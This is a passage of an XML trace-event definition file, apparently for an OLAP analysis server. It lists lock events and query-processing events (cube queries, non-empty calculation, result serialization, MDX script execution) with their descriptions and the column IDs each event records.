            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>

    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Locks</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of lock related events.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>50</ID>
          <NAME>Deadlock</NAME>
          <DESCRIPTION>Metadata locks deadlock.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>51</ID>
          <NAME>Lock Timeout</NAME>
          <DESCRIPTION>Metadata lock timeout.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>52</ID>
          <NAME>Lock Acquired</NAME>
          <DESCRIPTION>The locks were acquired by the transaction</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>53</ID>
          <NAME>Lock Released</NAME>
          <DESCRIPTION>The locks were released by the transaction</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>54</ID>
          <NAME>Lock Waiting</NAME>
          <DESCRIPTION>The locks are held by another transaction and therefore this transaction is blocking until the locks are released</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>

    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Query Processing</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of key events during the process of a query execution.</DESCRIPTION>
      <EVENTLIST>
        <EVENT>
          <ID>70</ID>
          <NAME>Query Cube Begin</NAME>
          <DESCRIPTION>Query cube begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>71</ID>
          <NAME>Query Cube End</NAME>
          <DESCRIPTION>Query cube end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>72</ID>
          <NAME>Calculate Non Empty Begin</NAME>
          <DESCRIPTION>Calculate non empty begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>73</ID>
          <NAME>Calculate Non Empty Current</NAME>
          <DESCRIPTION>Calculate non empty current.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Get Data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Process Calculated Members</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Post Order</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>74</ID>
          <NAME>Calculate Non Empty End</NAME>
          <DESCRIPTION>Calculate non empty end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>75</ID>
          <NAME>Serialize Results Begin</NAME>
          <DESCRIPTION>Serialize results begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>76</ID>
          <NAME>Serialize Results Current</NAME>
          <DESCRIPTION>Serialize results current.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Serialize Axes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Serialize Cells</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Serialize SQL Rowset</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>Serialize Flattened Rowset</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>77</ID>
          <NAME>Serialize Results End</NAME>
          <DESCRIPTION>Serialize results end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>78</ID>
          <NAME>Execute MDX Script Begin</NAME>
          <DESCRIPTION>Execute MDX script begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>MDX Script</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>MDX Script Command</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>79</ID>
          <NAME>Execute MDX Script Current</NAME>
          <DESCRIPTION>Execute MDX script current. Deprecated.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>126</ID>
          <NAME>Execute MDX Script Error</NAME>
          <DESCRIPTION>An error occurred during MDX script execution.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>MDX Script</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>MDX Script Command</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>80</ID>
          <NAME>Execute MDX Script End</NAME>
          <DESCRIPTION>Execute MDX script end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>MDX Script</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>MDX Script Command</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
